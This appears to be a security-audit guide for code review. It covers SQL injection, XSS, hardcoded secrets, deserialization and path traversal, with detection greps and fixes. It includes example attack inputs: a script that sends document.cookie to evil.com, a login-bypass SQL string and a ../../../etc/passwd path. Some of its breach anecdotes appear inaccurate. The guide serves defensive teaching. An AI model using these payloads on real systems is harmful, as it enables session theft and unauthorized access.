Security Audit
Perform security review of the codebase or specific changes.
⚠️ CRITICAL: Security vulnerabilities can expose user data, allow unauthorized access, and compromise systems. Never treat security as optional.
Critical Vulnerabilities Explained
1. SQL Injection (SQLi) - CRITICAL
What it is: Attacker injects malicious SQL through user input
Impact:
- •Read/Modify/Delete any database data
- •Bypass authentication
- •Execute arbitrary commands on database server
- •Complete database compromise
Example Attack:
User input: ' OR '1'='1' -- Resulting query: SELECT * FROM users WHERE username = '' OR '1'='1' -- ' AND password = '...' Returns ALL users (bypasses authentication)
Real World Impact:
- •2017 Equifax breach: 143M records exposed via SQLi
- •Sony Pictures 2011: SQLi led to complete network compromise
- •Common in OWASP Top 10 since 2003
Detection:
# Find SQL concatenation in Java grep -rn "\"SELECT\|\"INSERT\|\"UPDATE\|\"DELETE" --include="*.java" src/ grep -rn "+.*SELECT\|+.*INSERT" --include="*.java" src/ # Find SQL concatenation in JavaScript/TypeScript grep -rn "`SELECT\|`INSERT\|`UPDATE" --include="*.ts" src/ grep -rn "\.query(.*+" --include="*.ts" src/
Remediation:
// ❌ WRONG - String concatenation
String query = "SELECT * FROM users WHERE email = '" + email + "'";
// ✅ CORRECT - Parameterized query
String query = "SELECT * FROM users WHERE email = ?";
PreparedStatement stmt = connection.prepareStatement(query);
stmt.setString(1, email);
ResultSet rs = stmt.executeQuery();
// ✅ CORRECT - JPA/ORM (safe by default)
@Query("SELECT u FROM User u WHERE u.email = :email")
User findByEmail(@Param("email") String email);
2. Cross-Site Scripting (XSS) - CRITICAL
What it is: Attacker injects malicious scripts into web pages
Impact:
- •Steal user session cookies
- •Impersonate users
- •Deface websites
- •Keylogging and credential theft
- •Redirect users to malicious sites
Types:
- •Stored XSS: Malicious script saved to database (affects all users)
- •Reflected XSS: Script in URL/query params (affects specific user)
- •DOM XSS: Client-side JavaScript manipulation
Example Attack:
User input: <script>fetch('https://evil.com/steal?cookie='+document.cookie)</script>
If displayed without escaping: Script runs in victim's browser
Real World Impact:
- •2018 British Airways: 380,000 payment cards stolen via XSS
- •2019 Fortnite: XSS allowed account takeover
- •Common in OWASP Top 10
Detection:
# Find unescaped output in templates
grep -rn "{{.*|safe\|{{{\|v-html\|dangerouslySetInnerHTML" --include="*.tsx" --include="*.jsx" src/
# Find innerHTML usage
grep -rn "\.innerHTML\s*=" --include="*.ts" --include="*.js" src/
Remediation:
// ❌ WRONG - Unescaped output (React example)
<div dangerouslySetInnerHTML={{ __html: userInput }} />
// ✅ CORRECT - Auto-escaped (React default)
<div>{userInput}</div> // Automatically escaped!
// ✅ CORRECT - Explicit escaping
import { escapeHtml } from 'escape-html';
<div>{escapeHtml(userInput)}</div>
// ✅ CORRECT - DOMPurify for allowed HTML
import DOMPurify from 'dompurify';
<div dangerouslySetInnerHTML={{ __html: DOMPurify.sanitize(userInput) }} />
3. Hardcoded Secrets - CRITICAL
What it is: API keys, passwords, tokens stored directly in code
Impact:
- •Unauthorized access to production systems
- •Data breaches
- •Financial loss (cloud resources abuse)
- •Complete system compromise
Common Locations:
- •Configuration files (application.yml, .env)
- •Source code comments
- •Test files
- •Documentation
- •CI/CD pipeline files
Real World Impact:
- •2022 Uber: Hardcoded credentials led to breach of 57M users
- •2023 Twitch: Leaked credentials exposed source code
- •Thousands of repos on GitHub contain exposed secrets
Detection:
# Scan with tools git-secrets --scan npm install -g detect-secrets && detect-secrets scan # Manual grep (false positives likely) grep -rn "password\|secret\|api_key\|token\|private_key" \ --include="*.java" --include="*.ts" --include="*.yml" \ --include="*.yaml" --include="*.properties" src/ # Check git history git log --all --full-history -- '*.properties' '*.yml' '*.yaml'
Remediation:
// ❌ WRONG - Hardcoded in code
String apiKey = "sk_live_51H...";
// ❌ WRONG - Hardcoded in config
api:
key: sk_live_51H...
// ✅ CORRECT - Environment variable
String apiKey = System.getenv("API_KEY");
// application.yml
api:
key: ${API_KEY} # From environment
# .gitignore .env .env.local .env.production *.pem *.key application-local.yml secrets.yml
4. Insecure Deserialization - CRITICAL
What it is: Untrusted data deserialized without validation
Impact:
- •Remote Code Execution (RCE)
- •Complete server compromise
- •Data tampering
Real World Impact:
- •2017 Equifax: Java deserialization led to massive breach
- •2020 Apache Struts: Multiple RCE vulnerabilities
- •Common attack vector in Java applications
Detection:
# Java deserialization grep -rn "ObjectInputStream\|readObject\|readUnshared" --include="*.java" src/ grep -rn "SerializationUtils.deserialize\|JSON.parseObject" --include="*.java" src/ # JavaScript/Node.js grep -rn "eval\|new Function\|child_process" --include="*.ts" src/
Remediation:
// ❌ WRONG - Deserializing untrusted data
ObjectInputStream ois = new ObjectInputStream(input);
Object obj = ois.readObject(); // DANGEROUS!
// ✅ CORRECT - Use JSON with schema validation
User user = objectMapper.readValue(json, User.class); // Type-safe
// ✅ CORRECT - If must use Java serialization, whitelist classes
ObjectInputFilter filter = ObjectInputFilter.Config.createFilter(
"!com.example.dangerous.*;java.base/*;!*"
);
ois.setObjectInputFilter(filter);
5. Path Traversal - HIGH
What it is: Attacker accesses files outside intended directory
Impact:
- •Read sensitive files (/etc/passwd, application.yml)
- •Delete/modify critical files
- •Execute arbitrary code
Example Attack:
User input: ../../../etc/passwd Result: Accesses system password file
Detection:
grep -rn "FileInputStream\|FileReader\|Paths.get" --include="*.java" src/
grep -rn "fs.readFile\|fs.writeFile\|require('path')" --include="*.ts" src/
Remediation:
// ❌ WRONG - Direct path construction
String filePath = "/uploads/" + userInput;
File file = new File(filePath);
// ✅ CORRECT - Validate and canonicalize
Path basePath = Paths.get("/uploads").toAbsolutePath().normalize();
Path resolvedPath = basePath.resolve(userInput).normalize();
if (!resolvedPath.startsWith(basePath)) {
throw new SecurityException("Path traversal attempt");
}
File file = resolvedPath.toFile();
Security Checklist
🔴 Critical - Immediate Fix Required
Scan Scope
- • Full codebase audit
- • Recent changes only (
git diff) - • Specific file/feature
Review Process
- •Identify scope - What to review (diff, file, feature)
- •Scan for vulnerabilities - Use checklist below
- •Assess risk - Rate severity of findings
- •Recommend fixes - Provide specific remediation
Security Checklist
🔴 Critical - Secrets & Credentials
- • No hardcoded API keys, passwords, tokens
- • No secrets in logs or error messages
- •
.envfiles in.gitignore - • No secrets in git history
🔴 Critical - Injection
- • SQL: Parameterized queries only
- • XSS: User content escaped/sanitized
- • Command injection: No shell with user input
- • Path traversal: Validated file paths
🟡 Authentication & Authorization
- • JWT properly validated
- • Session management secure
- • Authorization on every endpoint
- • Password hashing (bcrypt/argon2)
🟡 Data Protection
- • HTTPS enforced
- • Sensitive data encrypted at rest
- • PII handling compliant
- • Proper CORS configuration
🟢 Backend Security
- • Security headers set (CSP, HSTS, X-Frame-Options, X-Content-Type-Options)
- • Rate limiting implemented (bucket, fixed window)
- • CSRF protection for state-changing operations
- • Request size limits enforced
- • Timeout configurations set
- • Error messages don't leak stack traces or sensitive info
- • Debug mode disabled in production
- • Dependencies up to date (npm audit, mvn dependency-check)
🟢 Frontend Security
- • CSP (Content Security Policy) configured
- • HTTPS-only (no mixed content)
- • No sensitive data in localStorage/sessionStorage
- • XSS protection (escape dynamic content)
- • Subresource Integrity (SRI) for CDN resources
- • Form autocomplete disabled for sensitive fields
Input Validation
- •Validate all inputs at API boundaries
- •Use validation annotations (
@Valid,@NotBlank, etc.) - •Sanitize user inputs before processing
Secrets Management
- •Never hardcode secrets, passwords, or API keys
- •Never log sensitive data
- •Use environment variables for configuration
- •Never commit secrets to version control
Authentication & Authorization
- •Use HTTPS in production
- •Implement proper JWT validation
- •Apply least privilege principle
- •Validate authorization on every protected endpoint
SQL Injection Prevention
- •Use parameterized queries
- •Never concatenate user input into SQL
- •Use ORM methods properly
XSS Prevention
- •Escape user-generated content
- •Use Content Security Policy headers
- •Validate and sanitize HTML inputs
CSRF Prevention
Backend (Java/Spring)
// Enable CSRF protection (enabled by default in Spring Security)
http.csrf(csrf -> csrf
.csrfTokenRepository(CookieCsrfTokenRepository.withHttpOnlyFalse())
.ignoringRequestMatchers("/api/public/**") // Exclude public endpoints
);
Frontend
// Include CSRF token in requests
fetch('/api/protected', {
method: 'POST',
headers: {
'Content-Type': 'application/json',
'X-CSRF-TOKEN': getCsrfTokenFromCookie(),
},
body: JSON.stringify(data),
});
When to Skip CSRF
- •Stateless APIs with token authentication (JWT)
- •Mobile app APIs
- •Public read-only endpoints
Rate Limiting
Backend (Java/Spring)
// Using Bucket4j
@Component
public class RateLimitingFilter extends OncePerRequestFilter {
private final Map<String, Bucket> buckets = new ConcurrentHashMap<>();
@Override
protected void doFilterInternal(HttpServletRequest request,
HttpServletResponse response,
FilterChain chain) throws ServletException, IOException {
String clientId = getClientIdentifier(request);
Bucket bucket = buckets.computeIfAbsent(clientId, k -> createBucket());
if (bucket.tryConsume(1)) {
chain.doFilter(request, response);
} else {
response.setStatus(429);
response.getWriter().write("Too many requests");
}
}
private Bucket createBucket() {
return Bucket.builder()
.addLimit(limit -> limit.capacity(100).refillGreedy(100, Duration.ofMinutes(1)))
.build();
}
}
Backend (Node.js)
// Using express-rate-limit
import rateLimit from 'express-rate-limit';
const limiter = rateLimit({
windowMs: 15 * 60 * 1000, // 15 minutes
max: 100, // limit each IP to 100 requests per windowMs
message: 'Too many requests, please try again later',
standardHeaders: true,
legacyHeaders: false,
});
app.use('/api/', limiter);
Rate Limiting Strategy
- •Strict limits on auth endpoints (5 attempts per minute)
- •Moderate limits on API endpoints (100 requests per 15 min)
- •Higher limits for authenticated users vs anonymous
- •Different limits per endpoint sensitivity
Commands for Scanning
# Find potential secrets grep -rn "password\|secret\|api_key\|token" --include="*.java" --include="*.ts" # Check for SQL concatenation grep -rn "\"SELECT\|\"INSERT\|\"UPDATE\|\"DELETE" --include="*.java" # Find eval/exec usage grep -rn "eval\|exec\|Runtime.getRuntime" --include="*.java" --include="*.ts" # Check .env not committed git ls-files | grep -i env # Dependency vulnerabilities npm audit mvn dependency-check:check
Output Format
Scope
What was reviewed.
Risk Assessment
CRITICAL / HIGH / MEDIUM / LOW
🔴 Critical Findings
| Issue | Location | Remediation |
|---|---|---|
| ... | ... | ... |
🟡 Warnings
| Issue | Location | Remediation |
|---|---|---|
| ... | ... | ... |
🟢 Low Priority
| Issue | Location | Remediation |
|---|---|---|
| ... | ... | ... |
Recommendations
Prioritized list of security improvements.
✅ Passed Checks
List of security controls that are properly implemented